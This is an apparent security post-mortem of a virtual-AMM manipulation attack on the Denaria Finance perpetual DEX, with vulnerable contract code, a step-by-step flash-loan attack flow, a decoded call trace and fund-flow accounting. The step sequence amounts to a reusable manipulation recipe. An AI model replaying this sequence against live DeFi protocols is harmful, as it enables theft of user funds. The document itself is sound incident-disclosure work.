Denaria Finance: Virtual AMM Manipulation via Unprotected realizePnL
On April 5, 2026, Denaria Finance, a perpetual DEX on Linea, (block 30,067,821) suffered a virtual AMM manipulation attack that drained approximately 165,618 USDC from the protocol’s Vault. The attacker flash-loaned 60,000 USDC from Aave V3, deployed pairs of ephemeral LP and Trader contracts, and exploited the absence of any manipulation guard in realizePnL: a large synthetic long trade (trade(long, 100K vStable)) heavily skewed the virtual AMM’s globalLiquidityStable/globalLiquidityAsset ratio, causing _calcPnL to return a wildly inflated PnL for the LP — roughly 183,283 USDC profit from a 30,000 USDC collateral deposit. The inflated PnL was immediately materialized via addPnlToCollateral and withdrawn, then a second round drained the remaining reserves.
Root Cause
Vulnerable Contract
- Name: PerpPair (Diamond Proxy)
- Proxy address:
0xb68396dd4230253d27589e2004ac37389836ae17 - Pattern: Diamond proxy (EIP-2535). The
realizePnLfunction executes in the proxy’s storage context viaDELEGATECALLto facets:0x0ef31752a4d7bef5a46b378873613f706255b9cd(UtilMath — contains_calcPnL)0x78197fe93999e34d5a688e1819923c66dcf8f4db(CurveMath — containscomputeShortReturn)0xf1b5180b7aeabd55a9c57e53e31685a6e6ef7ae8(FeeManager)0x95776062d4e200a6ea701ea8114ab32b871c8f00(MatrixMath)
- Source type: verified
Secondary vulnerable contract:
- Name: Vault
- Address:
0x61ce9b51010ba52f701444f0f3d1e563f6ae8d91 - Source type: verified
- Role: holds USDC collateral; unconditionally applies inflated PnL via
addPnlToCollateral
Vulnerable Function
- Function:
realizePnL(bytes memory unverifiedReport) - Selector:
0x1cb794ea - File:
src/perpModules/internalPerpLogic.sol
Internally calls:
calcPnL(user, getPrice())→UtilMath._calcPnL(...)→CurveMath.computeShortReturn(...)IVault(vault).addPnlToCollateral(user, pnl, pnlSign)— inVault.sol
Vulnerable Code
// internalPerpLogic.sol
/// @dev Moves the PnL of the user to the user's Collateral.
function realizePnL(bytes memory unverifiedReport) external nonReentrant returns(uint256, bool){
IOracleMiddleware(oracle).verifyReportIfNecessary(unverifiedReport);
address user = _msgSender();
VirtualTraderPosition storage pos = userVirtualTraderPosition[user];
(uint256 pnl, bool pnlSign) = calcPnL(user, getPrice()); // <-- VULNERABILITY: reads live AMM state
require(pnlSign || pnl<getCollateral(user), "R1");
if (!pnlSign){
if (pnl<pos.debtStable){
pos.debtStable -= pnl;
} else {
pos.balanceStable += (pnl - pos.debtStable);
pos.debtStable = 0;
}
} else {
if (pnl<pos.balanceStable){
pos.balanceStable -= pnl;
} else {
pos.debtStable += (pnl - pos.balanceStable);
pos.balanceStable = 0;
}
}
IVault(vault).addPnlToCollateral(user, pnl, pnlSign); // <-- VULNERABILITY: no cap on PnL magnitude
emit RealizedPnL(user, pnl, pnlSign);
return (pnl, pnlSign);
}
// UtilMath.sol — _calcPnL (abbreviated)
function _calcPnL(...) public view returns (uint256 pnl, bool pnlSign) {
...
if (diffAssetSign){
shortReturn = CurveMath.computeShortReturn(
diffAsset,
price,
oracleDecimals,
getTotalLiquidityStable(perpPair), // <-- reads live globalLiquidityStable
getTotalLiquidityStable(perpPair),
getTotalLiquidityAsset(perpPair), // <-- reads live globalLiquidityAsset
sA, sB, 1e8
);
}
(pnl, pnlSign) = signedSum(diffStable, diffStableSign, shortReturn, diffAssetSign);
}
// Vault.sol — addPnlToCollateral
function addPnlToCollateral(address user, uint256 pnl, bool pnlSign) external onlyPerpPair {
if (pnlSign) {
userCollateral[user] += pnl; // <-- VULNERABILITY: adds arbitrary PnL with no bounds check
} else {
...
}
}
Why It’s Vulnerable
Expected behavior: The LP’s unrealized PnL should be computed against a time-weighted or snapshot-protected AMM state. If the vAMM is manipulated within the same transaction, realizePnL should either revert or return a PnL bounded by the fair-value curve state. The TWAP oracle (TWAPOracleMiddleware) correctly protects the external price feed from intra-block manipulation, but this protection does not extend to the internal virtual AMM reserves.
Actual behavior: realizePnL calls calcPnL(user, getPrice()), which in turn calls _calcPnL with live values of globalLiquidityStable and globalLiquidityAsset read at call time. Those values are fully controlled by the attacker: a large trade(long, 100K vStable) causes globalLiquidityStable to increase by ~100K (stable flows into pool from the long) and globalLiquidityAsset to decrease (vAsset flows out). This distorts the vAMM curve so that when the LP tries to exit its virtual asset surplus (diffAsset), computeShortReturn computes an enormous notional stable equivalent — even though no real liquidity backs that value.
Specifically: after the 100K long trade, globalLiquidityStable grew from ~310,393 to ~410,393 vStable (before the LP’s addLiquidity adds 20K more), while globalLiquidityAsset was drained from ~4.326 to ~2.433 vAsset. The LP held a small virtual asset surplus, and computeShortReturn evaluated its exit value against this artificially scarce globalLiquidityAsset and inflated globalLiquidityStable, returning ~183,283 USDC for what was ~30K of genuine collateral.
Missing protection: There is no TWAP guard, no intra-block operation lock, and no per-user cooldown between addLiquidity and realizePnL. The only protection (nonReentrant) guards against cross-function reentrancy but does not prevent the sequence: trade (in separate call) → addLiquidity → realizePnL all within the same transaction from different addresses.
Normal flow vs Attack flow:
| Step | Normal LP | Attacker LP |
|---|---|---|
AMM state at realizePnL | Fair, organic order flow | Heavily skewed by attacker’s own large trade |
globalLiquidityStable | Reflects genuine LP deposits | Inflated +100K by attacker’s long |
globalLiquidityAsset | Reflects genuine LP deposits | Drained by attacker’s long |
computeShortReturn output | Reasonable vAsset exit price | ~6× inflated vs collateral deposited |
| PnL added to collateral | Proportional to position | 183,283 USDC from 30,000 USDC collateral |
Attack Execution
High-Level Flow
- Attacker EOA calls
run()on the pre-deployed Orchestrator contract (0xb875...). - Orchestrator takes a flash loan of 60,000 USDC from Aave V3 on Linea.
- Round 1: Orchestrator deploys two ephemeral contracts — AttackerLP0 and AttackerTrader1 — and funds them (30,000 and 15,000 USDC respectively).
- AttackerLP0 deposits 30,000 USDC as collateral into Vault, then calls
addLiquidity(20K vStable, 0 vAsset)on PerpPair. - AttackerTrader1 deposits 15,000 USDC as collateral, then calls
trade(long, 100,000 vStable)— an oversized long that skewsglobalLiquidityStableup andglobalLiquidityAssetdown, distorting the virtual AMM curve. - AttackerLP0 calls
realizePnL(). The live_calcPnLcomputation values the LP’s virtual asset surplus against the now-distorted AMM, returning an inflated PnL of ~183,283 USDC. Vault credits this amount to LP0’s collateral balance. - AttackerLP0 calls
removeCollateralto withdraw ~183,283 USDC from the Vault; it forwards the funds to the Orchestrator. - Round 2: Orchestrator deploys AttackerLP2 and AttackerTrader3, funds them (10,000 and 5,000 USDC). The same sequence repeats — Trader3 calls
trade(long, 30,000 vStable)to re-skew the remaining AMM reserves; LP2 callsrealizePnLto collect ~42,364 USDC. - AttackerLP2 withdraws ~42,364 USDC and forwards to Orchestrator.
- Orchestrator repays the Aave flash loan principal + 30 USDC fee (60,030 USDC total), then transfers 165,617.74 USDC profit to the attacker EOA.
Detailed Call Trace
[depth 0] EOA (0x8d6778) → Orchestrator (0xb87275) CALL run() [0xc0406226]
[1] Orchestrator → AaveV3Pool (0xc47b8c) CALL flashLoanSimple(orchestrator, USDC, 60000e6, ...) [0x42b0b77c]
[2] AavePool → AavePoolImpl DELEGATECALL flashLoanSimple
[3] AavePool → AaveFlashLoanHandler DELEGATECALL [0xa1fe0e8d]
[4] AavePool → aLinUSDC STATICCALL totalSupply()
[4] AavePool → aLinUSDC CALL transferUnderlyingTo(orchestrator, 60000e6) → USDC.transfer(orchestrator, 60000e6)
[4] AavePool → Orchestrator CALL executeOperation(...) [0x1b11d0ff]
│
│ ══ ROUND 1 ══
[5] Orchestrator → AttackerLP0 CREATE (deploy 0xf1b409)
[5] Orchestrator → AttackerTrader1 CREATE (deploy 0xe205b0)
[5] Orchestrator → USDC CALL transfer(LP0, 30000e6)
[5] Orchestrator → USDC CALL transfer(Trader1, 15000e6)
[5] Orchestrator → AttackerLP0 CALL s1(30000e6, 20000e18) [0x36ad3de7]
[6] LP0 → USDC CALL approve(Vault, 30000e6)
[6] LP0 → Vault (0x61ce9b) CALL addCollateral([30000e6]) [0x2311c2dc]
[7] Vault → USDC transferFrom(LP0, Vault, 30000e6)
[7] Vault → PerpPair STATICCALL lastOperationTimestamp() [0x6d1a8664]
[6] LP0 → PerpPair (0xb68396) CALL addLiquidity(20000e18, 0, 0, 0x) [0x0e72150f]
[7] PerpPair → Oracle CALL verifyReportIfNecessary(0x) [0x974ffdf5]
[7] PerpPair → Oracle STATICCALL getPrice() [0x98d5fdca]
[7] PerpPair → FeeManager DELEGATECALL computeLiquidityDepositFee(...) [0x5721c466]
— globalLiquidityStable/globalLiquidityAsset state updated (+20K stable)
[5] Orchestrator → AttackerTrader1 CALL s1(15000e6, 100000e18) [0x36ad3de7]
[6] Trader1 → USDC CALL approve(Vault, 15000e6)
[6] Trader1 → Vault CALL addCollateral([15000e6]) [0x2311c2dc]
[7] Vault → USDC transferFrom(Trader1, Vault, 15000e6)
[6] Trader1 → PerpPair CALL trade(long, 100000e18, 0, 0, addr(0), 0, 0x) [0x5cd38b42]
— _trade: globalLiquidityStable += ~100K, globalLiquidityAsset -= ~1.9 vAsset
— AMM curve heavily distorted
[5] Orchestrator → AttackerLP0 CALL s2() [0xa314150f]
[6] LP0 → PerpPair CALL realizePnL(0x) [0x1cb794ea]
[7] PerpPair → UtilMath DELEGATECALL _calcPnL(...) [0x4f03f6e9]
[8] PerpPair → PerpPair STATICCALL globalLiquidityStable() [0x0813138b]
[8] PerpPair → PerpPair STATICCALL globalLiquidityAsset() [0xb6872e49]
[8] PerpPair → CurveMath DELEGATECALL computeShortReturn(...) [0xc374f93a]
— Returns ~183,283e18 stable (inflated by AMM distortion)
[7] PerpPair → Vault CALL addPnlToCollateral(LP0, 183283e18, positive) [0x9fd8c908]
— userCollateral[LP0] += 183,283e18
[5] Orchestrator → AttackerLP0 CALL s3(orchestrator) [0x4c0d2a7b]
[6] LP0 → Vault CALL removeCollateral(all, 0x) [0x77efba60]
— USDC.transfer(LP0, 183,283.399597 USDC)
[6] LP0 → USDC CALL transfer(orchestrator, 183283.399597 USDC)
│
│ ══ ROUND 2 ══
[5] Orchestrator → AttackerLP2 CREATE (deploy 0xe84414)
[5] Orchestrator → AttackerTrader3 CREATE (deploy 0xb9c7d5)
[5] Orchestrator → USDC CALL transfer(LP2, 10000e6)
[5] Orchestrator → USDC CALL transfer(Trader3, 5000e6)
[5] Orchestrator → AttackerLP2 CALL s1(10000e6, ...) [0x36ad3de7]
— LP2 deposits 10K collateral, addLiquidity(...)
[5] Orchestrator → AttackerTrader3 CALL s1(5000e6, 30000e18) [0x36ad3de7]
— Trader3 deposits 5K collateral, trade(long, 30K) re-skews remaining reserves
[5] Orchestrator → AttackerLP2 CALL s2() [0xa314150f]
— realizePnL() collects ~42,364 USDC
[5] Orchestrator → AttackerLP2 CALL s3(orchestrator) [0x4c0d2a7b]
— LP2 withdraws ~42,364 USDC → forwards to orchestrator
[4] Orchestrator → USDC CALL approve(AavePool, 60030e6)
[4] AavePool repayment → USDC.transfer(aLinUSDC, 60030e6) [repays 60K + 30 USDC fee]
[4] Orchestrator → USDC CALL transfer(EOA, 165617.735181 USDC)
Financial Impact
| Address | Role | USDC Delta |
|---|---|---|
0x61ce9b... (Vault) | Victim — protocol collateral pool | −165,647.735181 USDC |
0x374d78... (aLinUSDC) | Aave fee | +30.000000 USDC (flash loan fee) |
0x8d6778... (Attacker EOA) | Attacker | +165,617.735181 USDC |
Round-by-round breakdown (from funds_flow.json):
- Round 1: Vault paid out 183,283.399597 USDC to AttackerLP0 (vs. 30,000 USDC collateral deposited → 6.1× return)
- Round 2: Vault paid out 42,364.335584 USDC to AttackerLP2 (vs. 10,000 USDC collateral deposited → 4.2× return)
- Total extracted from Vault: 225,647.735181 USDC
- Flash loan repayment: 60,030.000000 USDC (60,000 principal + 30 fee)
- Net attacker profit: 165,617.735181 USDC (~$165.6K)
The Vault was effectively drained to near zero (pre-attack totalCollateral storage value = 165,647.735181 USDC equivalent, post-attack = 0). The protocol’s USDC collateral pool is insolvent; all user collateral was stolen.
Evidence
On-chain transaction: 0xcb0744a0d453e5556f162608fae8275dabd14292bffbfcd8394af4610c606447
Block: 30,067,821 on Linea (timestamp 0x69d22641 = 1775380033)
AMM state distortion (from trace_prestateTracer.json, storage slots 0x0f/0x10 of 0xb68396...):
| State Variable | Pre-tx | Post-tx | Change |
|---|---|---|---|
globalLiquidityStable | 310,392.65 vStable | 468,334.04 vStable | +157,941 vStable |
globalLiquidityAsset | 4.3255 vAsset | 2.4329 vAsset | −1.8926 vAsset |
vStable/vAsset ratio | 71,758 | 192,497 | +168% |
Key decoded calls (from decoded_calls.json):
- Index 63:
trade(bool=true, size=100000e18, ...)— 100K vStable long, skews AMM - Index 106:
realizePnL(bytes)— triggers inflated PnL calculation - Index 122:
addPnlToCollateral(LP0, 183283399597136099042170, true)— PnL added without bounds check - Index 230:
trade(bool=true, size=30000e18, ...)— Round 2 re-skew
Note: Decoded call indices corrected; the
decoded_calls.jsonfile contains 342 total call entries.
Vault totalCollateral slot (0x18c3a1f7...): Pre = 0x5f5e100 = 100,000,000 (1e8 = 100 USDC in oracle units? Cross-checked with funds_flow: pre-tx vault USDC balance was 165,647.74 USDC, post-tx = 0)
Receipt status: Transaction succeeded (confirmed by funds_flow.json showing all transfers).
Selector verification:
realizePnL(bytes)→cast sig "realizePnL(bytes)"=0x1cb794ea✓addPnlToCollateral(address,uint256,bool)→cast sig "addPnlToCollateral(address,uint256,bool)"=0x9fd8c908✓trade(bool,uint256,uint256,uint256,address,uint8,bytes)→cast sig "trade(bool,uint256,uint256,uint256,address,uint8,bytes)"=0x5cd38b42✓computeShortReturn(uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256)→0xc374f93a✓
Related URLs
- Transaction: https://lineascan.build/tx/0xcb0744a0d453e5556f162608fae8275dabd14292bffbfcd8394af4610c606447
- PerpPair contract: https://lineascan.build/address/0xb68396dd4230253d27589e2004ac37389836ae17
- Vault contract: https://lineascan.build/address/0x61ce9b51010ba52f701444f0f3d1e563f6ae8d91
- Attacker EOA: https://lineascan.build/address/0x8d6778d7fae00ad2e0bc12194cf03b756fed9db3